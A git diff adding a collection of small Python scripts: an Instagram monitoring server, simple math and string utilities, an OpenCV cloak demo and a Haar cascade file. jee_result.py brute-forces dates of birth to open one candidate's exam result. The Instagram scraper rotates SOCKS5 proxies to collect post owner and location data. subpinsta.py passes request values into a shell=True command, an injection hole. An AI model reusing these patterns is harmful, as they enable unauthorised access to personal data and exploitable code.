00000000000..33f0cf5db3b --- /dev/null +++ b/insta_image_saving/readme.txt @@ -0,0 +1 @@ +THIS A JUPYTER NOTEBOOK FILE THAT CAN SAVE ALL OR SOME IMAGES FROM A PUBLIC INSTAGRAM URL AS PER USER'S DIRECTIVES. diff --git a/insta_monitering/con_file.py b/insta_monitering/con_file.py new file mode 100644 index 00000000000..fe24f0020ae --- /dev/null +++ b/insta_monitering/con_file.py @@ -0,0 +1,7 @@ +host = "localhost" +mongoPort = 27017 +SOCKS5_PROXY_PORT = 1080 +auth = "" +passcode = "" + +# if proxy is not working please update the auth and passcode diff --git a/insta_monitering/insta_api.py b/insta_monitering/insta_api.py new file mode 100644 index 00000000000..957f240730d --- /dev/null +++ b/insta_monitering/insta_api.py @@ -0,0 +1,162 @@ +from concurrent.futures import ThreadPoolExecutor + +import tornado.ioloop +import tornado.web +from tornado.concurrent import run_on_executor +from tornado.gen import coroutine + +# import file +try: + from instagram_monitering.insta_datafetcher import * + from instagram_monitering.subpinsta import * +except: + from insta_datafetcher import * + from subpinsta import * +MAX_WORKERS = 10 + + +class StartHandlerinsta(tornado.web.RequestHandler): + executor = ThreadPoolExecutor(max_workers=MAX_WORKERS) + + @run_on_executor + def background_task(self, user, tags, type, productId): + try: + instasubprocess(user=user, tags=tags, type=type, productId=productId) + except: + print("error::background_task>>", sys.exc_info()[1]) + + @coroutine + def get(self): + try: + q = self.get_argument("q") + user = self.get_argument("userId") + type = self.get_argument("type") + productId = self.get_argument("productId") + except: + self.send_error(400) + if " " in q: + q = q.replace(" ", "") + self.background_task(user=user, tags=q, type=type, productId=productId) + temp = {} + temp["query"] = q + temp["userId"] = user + temp["status"] = True + temp["productId"] = productId + print( + "{0}, {1}, {2}, {3}".format( + temp["userId"], temp["productId"], temp["query"], temp["status"] + ) + ) + self.write(ujson.dumps(temp)) + + +class StopHandlerinsta(tornado.web.RequestHandler): + def get(self): + try: + q = self.get_argument("q") + user = self.get_argument("userId") + # tags = self.get_argument("hashtags") + productId = self.get_argument("productId") + except: + self.send_error(400) + obj = InstaPorcessClass() + result = obj.deletProcess(tags=q, user=user, productId=productId) + temp = {} + temp["query"] = q + temp["userId"] = user + temp["productId"] = productId + temp["status"] = result + print( + "{0}, {1}, {2}, {3}".format( + temp["userId"], temp["productId"], temp["query"], temp["status"] + ) + ) + self.write(ujson.dumps(temp)) + + +class StatusHandlerinsta(tornado.web.RequestHandler): + def get(self): + try: + q = self.get_argument("q") + user = self.get_argument("userId") + productId = self.get_argument("productId") + # tags = self.get_argument("hashtags") + except: + self.send_error(400) + obj = InstaPorcessClass() + result = obj.statusCheck(tags=q, user=user, productId=productId) + temp = {} + temp["query"] = q + temp["userId"] = user + temp["status"] = result + temp["productId"] = productId + print( + "{0}, {1}, {2}, {3}".format( + temp["userId"], temp["productId"], temp["query"], temp["status"] + ) + ) + self.write(ujson.dumps(temp)) + + +# class SenderHandlerinsta(tornado.web.RequestHandler): +# def get(self): +# try: +# q = self.get_argument("q") +# user = self.get_argument("userId") +# type = self.get_argument("type") +# productId = self.get_argument("productId") +# except: +# self.send_error(400) +# recordsobj = DBDataFetcher(user=user, tags=q, type=type, productId=productId) +# data = recordsobj.dbFetcher() +# self.write(data) + + +class SenderHandlerinstaLess(tornado.web.RequestHandler): + def get(self): + try: + q = self.get_argument("q") + user = self.get_argument("userId") + type = self.get_argument("type") + productId = self.get_argument("productId") + date = self.get_argument("date") + limit = self.get_argument("limit") + except: + self.send_error(400) + recordsobj = DBDataFetcher(user=user, tags=q, type=type, productId=productId) + data = recordsobj.DBFetcherLess(limit=limit, date=date) + # print("{0}, {1}, {2}, {3}".format(temp["userId"], temp["productId"], temp["query"], temp["status"])) + self.write(data) + + +class SenderHandlerinstaGreater(tornado.web.RequestHandler): + def get(self): + try: + q = self.get_argument("q") + user = self.get_argument("userId") + type = self.get_argument("type") + productId = self.get_argument("productId") + date = self.get_argument("date") + limit = self.get_argument("limit") + except: + self.send_error(400) + recordsobj = DBDataFetcher(user=user, tags=q, type=type, productId=productId) + data = recordsobj.DBFetcherGreater(limit=limit, date=date) + # print("{0}, {1}, {2}, {3}".format(temp["userId"], temp["productId"], temp["query"], temp["status"])) + self.write(data) + + +if __name__ == "__main__": + application = tornado.web.Application( + [ + (r"/instagram/monitoring/start", StartHandlerinsta), + (r"/instagram/monitoring/stop", StopHandlerinsta), + (r"/instagram/monitoring/status", StatusHandlerinsta), + (r"/instagram/monitoring/less", SenderHandlerinstaLess), + (r"/instagram/monitoring/greater", SenderHandlerinstaGreater), + ] + ) + + application.listen(7074) + print("server running") + tornado.ioloop.IOLoop.instance().start() diff --git a/insta_monitering/insta_datafetcher.py b/insta_monitering/insta_datafetcher.py new file mode 100644 index 00000000000..04b58df4052 --- /dev/null +++ b/insta_monitering/insta_datafetcher.py @@ -0,0 +1,461 @@ +# only god knows whats happening in the code +# if I forget the code structure +# please pray to god for help +import asyncio +import multiprocessing +import os +import random +import re +import socket +import sys +import time + +import bs4 +import pymongo +import requests +import socks +import ujson +import urllib3 + +try: + import instagram_monitering.con_file as config +except Exception as e: + print(e) + import con_file as config + + +class PorxyApplyingDecorator(object): + def __init__(self): + filename = os.getcwd() + "/" + "ipList.txt" + with open(filename, "r") as f: + ipdata = f.read() + self._IP = random.choice(ipdata.split(",")) + + def __call__(self, function_to_call_for_appling_proxy): + SOCKS5_PROXY_HOST = self._IP + # default_socket = socket.socket + socks.set_default_proxy( + socks.SOCKS5, + SOCKS5_PROXY_HOST, + config.SOCKS5_PROXY_PORT, + True, + config.auth, + config.passcode, + ) + socket.socket = socks.socksocket + + def wrapper_function(url): + # this is used for applyting socks5 proxy over the request + return function_to_call_for_appling_proxy(url) + + socks.set_default_proxy() + return wrapper_function + + +async def dataprocess(htmldata): + bs4obj = bs4.BeautifulSoup(htmldata, "html.parser") + scriptsdata = bs4obj.findAll("script", {"type": "text/javascript"}) + datatext = "" + for i in scriptsdata: + datatext = i.text + if "window._sharedData =" in datatext: + break + datajson = re.findall("{(.*)}", datatext) + datajson = "{" + datajson[0] + "}" + datadict = ujson.loads(datajson) + maindict = {} + datadict = datadict["entry_data"]["PostPage"][0]["graphql"]["shortcode_media"] + tofind = ["owner", "location"] + for i in tofind: + try: + maindict[i] = datadict[i] + except Exception as e: + print(e) + pass + return maindict + + +async def datapullpost(future, url): + while True: + + @PorxyApplyingDecorator() + async def request_pull(url): + data = None + print(url) + urllib3.disable_warnings() + user_agent = {"User-agent": "Mozilla/17.0"} + try: + data = requests.get( + url=url, headers=user_agent, timeout=10, verify=False + ).text + except Exception as e: + print(e) + data = None + finally: + return data + + data = await request_pull(url) + if data != None: + break + data = await dataprocess(htmldata=data) + # here processing of data has to occur + future.set_result(data) + + +class MoniteringClass: + def __init__(self, user, tags, type, productId): + try: + self.mon = pymongo.MongoClient(host=config.host, port=config.mongoPort) + db = self.mon[productId + ":" + user + ":insta"] + self._collection = db[tags] + if type == "hashtags": + self._url = "https://www.instagram.com/explore/tags/" + tags + "/?__a=1" + if type == "profile": + self._url = "https://www.instagram.com/" + tags + "/?__a=1" + except Exception as err: + print(f"exception {err}") + print("error::MointeringClass.__init__>>", sys.exc_info()[1]) + + def _dataProcessing(self, data): + loop = asyncio.get_event_loop() + userdata = [] + try: + if not isinstance(data, dict): + raise Exception + media_post = data["tag"]["media"]["nodes"] + top_post = data["tag"]["top_posts"]["nodes"] + print("media post ::", len(media_post)) + print("top_post::", len(top_post)) + futures = [] + for i in media_post: + tempdict = {} + tempdict["url"] = "https://www.instagram.com/p/" + i["code"] + "/" + tempdict["code"] = i["code"] + userdata.append(tempdict) + for i in top_post: + tempdict = {} + tempdict["url"] = "https://www.instagram.com/p/" + i["code"] + "/" + tempdict["code"] = i["code"] + userdata.append(tempdict) + for i in userdata: + i["future"] = asyncio.Future() + futures.append(i["future"]) + asyncio.ensure_future(datapullpost(future=i["future"], url=i["url"])) + loop.run_until_complete(asyncio.wait(futures)) + for i in userdata: + i["data"] = i["future"].result() + except Exception as err: + print(f"Exception ! : {err}") + print("error::Monitering.dataProcessing>>", sys.exc_info()[1]) + finally: + # loop.close() + print("userdata::", len(userdata)) + print("media_post::", len(media_post)) + print("top post::", len(top_post)) + return userdata, media_post, top_post + + def _insertFunction(self, record): + try: + records = self._collection.find({"id": record["id"]}) + if records.count() == 0: + # record["timestamp"] = time.time() + self._collection.insert(record) + except Exception as err: + print(f"Execption : {err}") + print("error::Monitering.insertFunction>>", sys.exc_info()[1]) + + def _lastProcess(self, userdata, media_post, top_post): + mainlist = [] + try: + for i in userdata: + for j in media_post: + if i["code"] == j["code"]: + tempdict = j.copy() + tofind = ["owner", "location"] + for z in tofind: + try: + tempdict[z + "data"] = i["data"][z] + except Exception as e: + print(f"exception : {e}") + pass + mainlist.append(tempdict) + self._insertFunction(tempdict.copy()) + for k in top_post: + if i["code"] == k["code"]: + tempdict = k.copy() + tofind = ["owner", "location"] + for z in tofind: + try: + tempdict[z + "data"] = i["data"][z] + except Exception as err: + print(f"Exception :{err}") + pass + mainlist.append(tempdict) + self._insertFunction(tempdict.copy()) + except Exception as err: + print(f"Exception : {err}") + print("error::lastProcess>>", sys.exc_info()[1]) + + def request_data_from_instagram(self): + try: + while True: + + @PorxyApplyingDecorator() + def reqest_pull(url): + print(url) + data = None + urllib3.disable_warnings() + user_agent = {"User-agent": "Mozilla/17.0"} + try: + data = requests.get( + url=url, headers=user_agent, timeout=24, verify=False + ).text + except Exception as err: + print(f"Exception : {err}") + data = None + finally: + return data + + data = reqest_pull(self._url) + if data != None: + break + datadict = ujson.loads(data) + userdata, media_post, top_post = self._dataProcessing(datadict) + finallydata = self._lastProcess( + userdata=userdata, media_post=media_post, top_post=top_post + ) + # print(ujson.dumps(finallydata)) + except Exception as e: + print(f"exception : {e}\n") + print("error::Monitering.request_data_from_instagram>>", sys.exc_info()[1]) + + def __del__(self): + self.mon.close() + + +def hashtags(user, tags, type, productId): + try: + temp = MoniteringClass(user=user, tags=tags, type=type, productId=productId) + temp.request_data_from_instagram() + except Exception as err: + print(f"exception : {err} \n") + print("error::hashtags>>", sys.exc_info()[1]) + + +class theradPorcess(multiprocessing.Process): + def __init__(self, user, tags, type, productId): + try: + multiprocessing.Process.__init__(self) + self.user = user + self.tags = tags + self.type = type + self.productId = productId + except Exception as err: + print(f"exception : {err}\n") + print("errorthreadPorcess:>>", sys.exc_info()[1]) + + def run(self): + try: + hashtags( + user=self.user, tags=self.tags, type=self.type, productId=self.productId + ) + except Exception as err: + print(f"exception : {err}\n") + print("error::run>>", sys.exc_info()[1]) + + +class InstaPorcessClass: + def _dbProcessReader(self, user, tags, productId): + value = True + mon = pymongo.MongoClient(host=config.host, port=config.mongoPort) + try: + db = mon["insta_process"] + collection = db["process"] + temp = {} + temp["user"] = user + temp["tags"] = tags + temp["productId"] = productId + records = collection.find(temp).count() + if records == 0: + raise Exception + value = True + except Exception as err: + print(f"exception : {err}\n") + value = False + print("error::dbProcessReader:>>", sys.exc_info()[1]) + finally: + mon.close() + return value + + def _processstart(self, user, tags, productId): + mon = pymongo.MongoClient(host=config.host, port=config.mongoPort) + try: + db = mon["insta_process"] + collection = db["process"] + temp = {} + temp["user"] = user + temp["tags"] = tags + temp["productId"] = productId + collection.insert(temp) + except Exception as err: + print(f"execption : {err}\n") + print("error::processstart>>", sys.exc_info()[1]) + finally: + mon.close() + + def startprocess(self, user, tags, type, productId): + try: + self._processstart(user=user, tags=tags, productId=productId) + while True: + # therad = theradPorcess(user=user, tags=tags, type=type) + # therad.start() + hashtags(user=user, tags=tags, type=type, productId=productId) + check = self._dbProcessReader(user=user, tags=tags, productId=productId) + print(check) + if check == False: + break + time.sleep(300) + # therad.join() + except Exception as err: + print(f"exception : {err}\n") + print("error::startPoress::>>", sys.exc_info()[1]) + + def deletProcess(self, user, tags, productId): + mon = pymongo.MongoClient(host=config.host, port=config.mongoPort) + try: + db = mon["insta_process"] + collection = db["process"] + temp = {} + temp["user"] = user + temp["tags"] = tags + temp["productId"] = productId + collection.delete_one(temp) + except Exception as err: + print(f"exception : {err}\n") + print("error::deletProcess:>>", sys.exc_info()[1]) + finally: + mon.close() + print("deleted - task", temp) + return True + + def statusCheck(self, user, tags, productId): + mon = pymongo.MongoClient(host=config.host, port=config.mongoPort) + try: + db = mon["insta_process"] + collection = db["process"] + temp = {} + temp["user"] = user + temp["tags"] = tags + temp["productId"] = productId + records = collection.find(temp).count() + if records == 0: + result = False + else: + result = True + except Exception as err: + print(f"exception : {err}\n") + print("error::dbProcessReader:>>", sys.exc_info()[1]) + finally: + mon.close() + return result + + +class DBDataFetcher: + def __init__(self, user, tags, type, productId): + try: + self.mon = pymongo.MongoClient(host=config.host, port=config.mongoPort) + db = self.mon[productId + ":" + user + ":insta"] + self._collection = db[tags] + except Exception as err: + print(f"exception : {err}\n") + print("error::DBDataFetcher.init>>", sys.exc_info()[1]) + + def dbFetcher(self, limit=20): + mainlist = [] + try: + records = self._collection.find().sort("id", -1).limit(limit) + for i in records: + del i["_id"] + mainlist.append(i) + except Exception as err: + print(f"exception : {err}\n") + print("error::dbFetcher>>", sys.exc_info()[1]) + finally: + return ujson.dumps(mainlist) + + def DBFetcherGreater(self, limit, date): + mainlist = [] + postval = {} + try: + postval["posts"] = None + if limit.isdigit() == False and date.isdigit() == False: + raise Exception + limit = int(limit) + date = int(date) + if date != 0: + doc = ( + self._collection.find({"date": {"$gt": date}}) + .sort("date", pymongo.ASCENDING) + .limit(limit) + ) + else: + doc = ( + self._collection.find().sort("date", pymongo.ASCENDING).limit(limit) + ) + for i in doc: + del i["_id"] + mainlist.append(i) + postval["posts"] = mainlist + postval["status"] = True + except Exception as err: + print(f"exception : {err}\n") + print("error::", sys.exc_info()[1]) + postval["status"] = False + finally: + return ujson.dumps(postval) + + def DBFetcherLess(self, limit, date): + mainlist = [] + postval = {} + try: + postval["posts"] = None + if limit.isdigit() == False and date.isdigit() == False: + raise Exception + limit = int(limit) + date = int(date) + doc = ( + self._collection.find({"date": {"$lt": date}}) + .limit(limit) + .sort("date", pymongo.DESCENDING) + ) + for i in doc: + del i["_id"] + mainlist.append(i) + postval["posts"] = mainlist[::-1] + postval["status"] = True + except Exception as err: + print(f"error : {err}\n") + print("error::", sys.exc_info()[1]) + postval["status"] = False + finally: + return ujson.dumps(postval) + + def __del__(self): + self.mon.close() + + +def main(): + try: + user = sys.argv[1] + tags = sys.argv[2] + type = sys.argv[3] + productId = sys.argv[4] + obj = InstaPorcessClass() + obj.startprocess(user=user, tags=tags, type=type, productId=productId) + except Exception as err: + print(f"exception : {err}") + print("error::main>>", sys.exc_info()[1]) + + +if __name__ == "__main__": + main() diff --git a/insta_monitering/ipList.txt b/insta_monitering/ipList.txt new file mode 100644 index 00000000000..e69de29bb2d diff --git a/insta_monitering/subpinsta.py b/insta_monitering/subpinsta.py new file mode 100644 index 00000000000..6e234063c75 --- /dev/null +++ b/insta_monitering/subpinsta.py @@ -0,0 +1,29 @@ +# trggering the process +import os +import subprocess +import sys + + +def instasubprocess(user, tags, type, productId): + try: + child_env = sys.executable + file_pocessing = ( + os.getcwd() + + "/insta_datafetcher.py " + + user + + " " + + tags + + " " + + type + + " " + + productId + ) + command = child_env + " " + file_pocessing + result = subprocess.Popen(command, shell=True) + result.wait() + except: + print("error::instasubprocess>>", sys.exc_info()[1]) + + +if __name__ == "__main__": + instasubprocess(user="u2", tags="food", type="hashtags", productId="abc") diff --git a/internet_connection_py3.py b/internet_connection_py3.py new file mode 100644 index 00000000000..46ec09fdba9 --- /dev/null +++ b/internet_connection_py3.py @@ -0,0 +1,30 @@ +from __future__ import print_function + +import os +import urllib.request + +from selenium import webdriver + +print("Testing Internet Connection") +print() +try: + urllib.request.urlopen( + "http://google.com", timeout=2 + ) # Tests if connection is up and running + print("Internet is working fine!") + print() + question = input("Do you want to open a website? (Y/N): ") + if question == "Y": + print() + search = input("Input website to open (http://website.com) : ") + else: + os._exit(0) + +except urllib.error.URLError: + print("No internet connection!") # Output if no connection + +browser = webdriver.Firefox() +browser.get(search) +os.system("cls") # os.system('clear') if Linux +print("[+] Website " + search + " opened!") +browser.close() diff --git a/invisible_clock.py b/invisible_clock.py new file mode 100644 index 00000000000..17f6d97b106 --- /dev/null +++ b/invisible_clock.py @@ -0,0 +1,65 @@ +# Hey you need red color cloak +import cv2 + +# superinposing two images + +import numpy as np + +import time + +cap = cv2.VideoCapture(0) + +time.sleep(2) # 2 sec time to adjust cam with time + +background = 0 + +# capturing the background +for i in range(30): # 30 times + ret, background = cap.read() + +while cap.isOpened(): + ret, img = cap.read() + + if not ret: + break + + hsv = cv2.cvtColor(img, cv2.COLOR_BGR2HSV) + # hsv values for red color + lower_red = np.array([0, 120, 70]) + upper_red = np.array([10, 255, 255]) + + mask1 = cv2.inRange(hsv, lower_red, upper_red) # seperating the cloak part + + lower_red = np.array([170, 120, 70]) + upper_red = np.array([180, 255, 255]) + + mask2 = cv2.inRange(hsv, lower_red, upper_red) + + mask1 = mask1 + mask2 # OR (Combining) + # #remove noise + mask1 = cv2.morphologyEx( + mask1, cv2.MORPH_OPEN, np.ones((3, 3), np.uint8), iterations=2 + ) + + mask1 = cv2.morphologyEx( + mask1, cv2.MORPH_DILATE, np.ones((3, 3), np.uint8), iterations=1 + ) + + # mask2 --> Everything except cloak + mask2 = cv2.bitwise_not(mask1) + + res1 = cv2.bitwise_and(background, background, mask=mask1) # used for segmentation + res2 = cv2.bitwise_and(img, img, mask=mask2) # used to substitute the cloak part + + final_output = cv2.addWeighted(res1, 1, res2, 1, 0) + + cv2.imshow("Eureka !", final_output) + + if cv2.waitKey(1) == 13: + break + +cap.release() +cv2.destroyAllWindows() + + +# Press enter to get out of window diff --git a/iprint.py b/iprint.py new file mode 100644 index 00000000000..4acc45041d0 --- /dev/null +++ b/iprint.py @@ -0,0 +1,12 @@ +from time import sleep + +txt = input("") + +ap = "" + +for let in range(len(txt) - 1): + ap += txt[let] + print(ap, end="\r") + sleep(0.1) + +print(txt, end="") diff --git a/is_number.py b/is_number.py new file mode 100644 index 00000000000..5dcd98f9eb1 --- /dev/null +++ b/is_number.py @@ -0,0 +1,33 @@ +# importing the module to check for all kinds of numbers truthiness in python. +import numbers +from math import pow +from typing import Any + +# Assign values to author and version. +__author__ = "Nitkarsh Chourasia" +__version__ = "1.0.0" +__date__ = "2023-08-24" + + +def check_number(input_value: Any) -> str: + """Check if input is a number of any kind or not.""" + + if isinstance(input_value, numbers.Number): + return f"{input_value} is a number." + else: + return f"{input_value} is not a number." + + +if __name__ == "__main__": + print(f"Author: {__author__}") + print(f"Version: {__version__}") + print(f"Function Documentation: {check_number.__doc__}") + print(f"Date: {__date__}") + + print() # Just inserting a new blank line. + + print(check_number(100)) + print(check_number(0)) + print(check_number(pow(10, 20))) + print(check_number("Hello")) + print(check_number(1 + 2j)) diff --git a/jee_result.py b/jee_result.py new file mode 100644 index 00000000000..7aa6046a50b --- /dev/null +++ b/jee_result.py @@ -0,0 +1,49 @@ +import datetime + +import mechanize +from bs4 import BeautifulSoup + +# Create a Browser +b = mechanize.Browser() + +# Disable loading robots.txt +b.set_handle_robots(False) + +b.addheaders = [("User-agent", "Mozilla/4.0 (compatible; MSIE 5.0; Windows 98;)")] + +# Navigate +b.open("http://cbseresults.nic.in/jee/jee_2015.htm") + +# Choose a form +b.select_form(nr=0) + +# Fill it out +b["regno"] = "37000304" + +currentdate = datetime.date(1997, 3, 10) +enddate = datetime.date(1998, 4, 1) +while currentdate <= enddate: + ct = 0 + # print currentdate + yyyymmdd = currentdate.strftime("%Y/%m/%d") + ddmmyyyy = yyyymmdd[8:] + "/" + yyyymmdd[5:7] + "/" + yyyymmdd[:4] + print(ddmmyyyy) + b.open("http://cbseresults.nic.in/jee/jee_2015.htm") + b.select_form(nr=0) + b["regno"] = "37000304" + b["dob"] = ddmmyyyy + + fd = b.submit() + # print(fd.read()) + soup = BeautifulSoup(fd.read(), "html.parser") + + for writ in soup.find_all("table"): + ct = ct + 1 + # print (ct) + if ct == 6: + print("---fail---") + else: + print("--true--") + break + currentdate += datetime.timedelta(days=1) + # print fd.read() diff --git a/kilo_to_miles.py b/kilo_to_miles.py new file mode 100644 index 00000000000..dea08b7d8cd --- /dev/null +++ b/kilo_to_miles.py @@ -0,0 +1,3 @@ +user = float(input("enter kilometers here.. ")) +miles = user * 0.621371 +print(f"{user} kilometers equals to {miles:.2f} miles") diff --git a/kmp_str_search.py b/kmp_str_search.py new file mode 100644 index 00000000000..6ee108c9ca5 --- /dev/null +++ b/kmp_str_search.py @@ -0,0 +1,51 @@ +"""Author Anurag Kumar(mailto:anuragkumarak95@gmail.com) +The Knuth-Morris-Pratt Algorithm for finding a pattern within a piece of te$ +with complexity O(n + m) +1) Preprocess pattern to identify any suffixes that are identical to prefix$ + This tells us where to continue from if we get a mismatch between a cha$ + and the text. +2) Step through the text one character at a time and compare it to a charac$ + updating our location within the pattern if necessary +""" + + +def kmp(pattern, text, len_p=None, len_t=None): + # 1) Construct the failure array + failure = [0] + i = 0 + for index, char in enumerate(pattern[1:]): + if pattern[i] == char: + i += 1 + else: + i = 0 + failure.append(i) + + # 2) Step through text searching for pattern + i, j = 0, 0 # index into text, pattern + while i < len(text): + if pattern[j] == text[i]: + if j == (len(pattern) - 1): + return True + i += 1 + j += 1 + + # if this is a prefix in our pattern + # just go back far enough to continue + elif failure[j] > 0: + j = failure[j] - 1 + else: + i += 1 + return False + + +if __name__ == "__main__": + # Test 1) + pattern = "abc1abc12" + text1 = "alskfjaldsabc1abc1abc12k23adsfabcabc" + text2 = "alskfjaldsk23adsfabcabc" + assert kmp(pattern, text1) and not kmp(pattern, text2) + + # Test 2) + pattern = "ABABX" + text = "ABABZABABYABABX" + assert kmp(pattern, text) diff --git a/large_files_reading.py b/large_files_reading.py new file mode 100644 index 00000000000..b2f10a410c5 --- /dev/null +++ b/large_files_reading.py @@ -0,0 +1,6 @@ +with open( + "new_project.txt", "r", encoding="utf-8" +) as file: # replace "largefile.text" with your actual file name or with absoulte path + # encoding = "utf-8" is especially used when the file contains special characters.... + for f in file: + print(f.strip()) diff --git a/largestno.py b/largestno.py new file mode 100644 index 00000000000..53934770163 --- /dev/null +++ b/largestno.py @@ -0,0 +1,7 @@ +# Python Program to find Largest of two Numbers using if-else statements +a = int(input("Enter the first number: ")) +b = int(input("Enter the second number: ")) +if a >= b: + print(a, "is greater") +else: + print(b, "is greater") diff --git a/lcm.py b/lcm.py new file mode 100644 index 00000000000..2f0bcf14509 --- /dev/null +++ b/lcm.py @@ -0,0 +1,55 @@ +def lcm(x, y): + """ + Find least common multiple of 2 positive integers. + :param x: int - first integer + :param y: int - second integer + :return: int - least common multiple + + >>> lcm(8, 4) + 8 + >>> lcm(5, 3) + 15 + >>> lcm(15, 9) + 45 + >>> lcm(124, 23) + 2852 + >>> lcm(3, 6) + 6 + >>> lcm(13, 34) + 442 + >>> lcm(235, 745) + 35015 + >>> lcm(65, 86) + 5590 + >>> lcm(0, 1) + -1 + >>> lcm(-12, 35) + -1 + """ + if x <= 0 or y <= 0: + return -1 + + if x > y: + greater_number = x + else: + greater_number = y + + while True: + if (greater_number % x == 0) and (greater_number % y == 0): + lcm = greater_number + break + greater_number += 1 + return lcm + + +num_1 = int(input("Enter first number: ")) +num_2 = int(input("Enter second number: ")) + +print( + "The L.C.M. of " + + str(num_1) + + " and " + + str(num_2) + + " is " + + str(lcm(num_1, num_2)) +) diff --git a/leap year.py b/leap year.py new file mode 100644 index 00000000000..dbced17c6e2 --- /dev/null +++ b/leap year.py @@ -0,0 +1,17 @@ +# Python program to check if year is a leap year or not + +year = 2000 + +# To get year (integer input) from the user +# year = int(input("Enter a year: ")) + +if (year % 4) == 0: + if (year % 100) == 0: + if (year % 400) == 0: + print("{0} is a leap year".format(year)) + else: + print("{0} is not a leap year".format(year)) + else: + print("{0} is a leap year".format(year)) +else: + print("{0} is not a leap year".format(year)) diff --git a/length.py b/length.py new file mode 100644 index 00000000000..257c62a4be7 --- /dev/null +++ b/length.py @@ -0,0 +1,8 @@ +# User inputs the string and it gets stored in variable str +str = input("Enter a string: ") + +# counter variable to count the character in a string +counter = 0 +for s in str: + counter = counter + 1 +print("Length of the input string is:", counter) diff --git a/letter_frequency.py b/letter_frequency.py new file mode 100644 index 00000000000..c1c9eedb411 --- /dev/null +++ b/letter_frequency.py @@ -0,0 +1,12 @@ +# counting the number of occurrences of a letter in a string using defaultdict +# left space in starting for clarity +from collections import defaultdict + +s = "mississippi" +d = defaultdict(int) +for k in s: + d[k] += 1 +sorted(d.items()) +print(d) + +# OUTPUT --- [('i', 4), ('m', 1), ('p', 2), ('s', 4)] diff --git a/levenshtein_distance.py b/levenshtein_distance.py new file mode 100644 index 00000000000..11cbb2c9dad --- /dev/null +++ b/levenshtein_distance.py @@ -0,0 +1,47 @@ +def levenshtein_dis(wordA, wordB): + wordA = wordA.lower() # making the wordA lower case + wordB = wordB.lower() # making the wordB lower case + + # get the length of the words and defining the variables + length_A = len(wordA) + length_B = len(wordB) + max_len = 0 + diff = 0 + distances = [] + distance = 0 + + # check the difference of the word to decide how many letter should be delete or add + # also store that value in the 'diff' variable and get the max length of the user given words + if length_A > length_B: + diff = length_A - length_B + max_len = length_A + elif length_A < length_B: + diff = length_B - length_A + max_len = length_B + else: + diff = 0 + max_len = length_A + + # starting from the front of the words and compare the letters of the both user given words + for x in range(max_len - diff): + if wordA[x] != wordB[x]: + distance += 1 + + # add the 'distance' value to the 'distances' array + distances.append(distance) + distance = 0 + + # starting from the back of the words and compare the letters of the both user given words + for x in range(max_len - diff): + if wordA[-(x + 1)] != wordB[-(x + 1)]: + distance += 1 + + # add the 'distance' value to the 'distances' array + distances.append(distance) + + # get the minimun value of the 'distances' array and add it with the 'diff' values and + # store them in the 'diff' variable + diff = diff + min(distances) + + # return the value + return diff diff --git a/libs/haarcascade_eye.xml b/libs/haarcascade_eye.xml new file mode 100644 index 00000000000..b21e3b93d74 --- /dev/null +++ b/libs/haarcascade_eye.xml @@ -0,0 +1,12213 @@ + + + +BOOST + HAAR + 20 + 20 + + 93 + + 0 + 24 + + <_> + 6 + -1.4562760591506958e+00 + + <_> + + 0 -1 0 1.2963959574699402e-01 + + -7.7304208278656006e-01 6.8350148200988770e-01 + <_> + + 0 -1 1 -4.6326808631420135e-02 + + 5.7352751493453979e-01 -4.9097689986228943e-01 + <_> + + 0 -1 2 -1.6173090785741806e-02 + + 6.0254341363906860e-01 -3.1610709428787231e-01 + <_> + + 0 -1 3 -4.5828841626644135e-02 + + 6.4177548885345459e-01 -1.5545040369033813e-01 + <_> + + 0 -1 4 -5.3759619593620300e-02 + + 5.4219317436218262e-01 -2.0480829477310181e-01 + <_> + + 0 -1 5 3.4171190112829208e-02 + + -2.3388190567493439e-01 4.8410901427268982e-01 + <_> + 12 + -1.2550230026245117e+00 + + <_> + + 0 -1 6 -2.1727620065212250e-01 + + 7.1098899841308594e-01 -5.9360730648040771e-01 + <_> + + 0 -1 7 1.2071969918906689e-02 + + -2.8240481019020081e-01 5.9013551473617554e-01 + <_> + + 0 -1 8 -1.7854139208793640e-02 + + 5.3137522935867310e-01 -2.2758960723876953e-01 + <_> + + 0 -1 9 2.2333610802888870e-02 + + -1.7556099593639374e-01 6.3356137275695801e-01 + <_> + + 0 -1 10 -9.1420017182826996e-02 + + 6.1563092470169067e-01 -1.6899530589580536e-01 + <_> + + 0 -1 11 2.8973650187253952e-02 + + -1.2250079959630966e-01 7.4401170015335083e-01 + <_> + + 0 -1 12 7.8203463926911354e-03 + + 1.6974370181560516e-01 -6.5441650152206421e-01 + <_> + + 0 -1 13 2.0340489223599434e-02 + + -1.2556649744510651e-01 8.2710450887680054e-01 + <_> + + 0 -1 14 -1.1926149949431419e-02 + + 3.8605681061744690e-01 -2.0992340147495270e-01 + <_> + + 0 -1 15 -9.7281101625412703e-04 + + -6.3761192560195923e-01 1.2952390313148499e-01 + <_> + + 0 -1 16 1.8322050891583785e-05 + + -3.4631478786468506e-01 2.2924269735813141e-01 + <_> + + 0 -1 17 -8.0854417756199837e-03 + + -6.3665801286697388e-01 1.3078659772872925e-01 + <_> + 9 + -1.3728189468383789e+00 + + <_> + + 0 -1 18 -1.1812269687652588e-01 + + 6.7844521999359131e-01 -5.0045782327651978e-01 + <_> + + 0 -1 19 -3.4332759678363800e-02 + + 6.7186361551284790e-01 -3.5744878649711609e-01 + <_> + + 0 -1 20 -2.1530799567699432e-02 + + 7.2220700979232788e-01 -1.8192419409751892e-01 + <_> + + 0 -1 21 -2.1909970790147781e-02 + + 6.6529387235641479e-01 -2.7510228753089905e-01 + <_> + + 0 -1 22 -2.8713539242744446e-02 + + 6.9955700635910034e-01 -1.9615580141544342e-01 + <_> + + 0 -1 23 -1.1467480100691319e-02 + + 5.9267348051071167e-01 -2.2097350656986237e-01 + <_> + + 0 -1 24 -2.2611169144511223e-02 + + 3.4483069181442261e-01 -3.8379558920860291e-01 + <_> + + 0 -1 25 -1.9308089977130294e-03 + + -7.9445719718933105e-01 1.5628659725189209e-01 + <_> + + 0 -1 26 5.6419910833938047e-05 + + -3.0896010994911194e-01 3.5431089997291565e-01 + <_> + 16 + -1.2879480123519897e+00 + + <_> + + 0 -1 27 1.9886520504951477e-01 + + -5.2860701084136963e-01 3.5536721348762512e-01 + <_> + + 0 -1 28 -3.6008939146995544e-02 + + 4.2109689116477966e-01 -3.9348980784416199e-01 + <_> + + 0 -1 29 -7.7569849789142609e-02 + + 4.7991541028022766e-01 -2.5122168660163879e-01 + <_> + + 0 -1 30 8.2630853285081685e-05 + + -3.8475489616394043e-01 3.1849220395088196e-01 + <_> + + 0 -1 31 3.2773229759186506e-04 + + 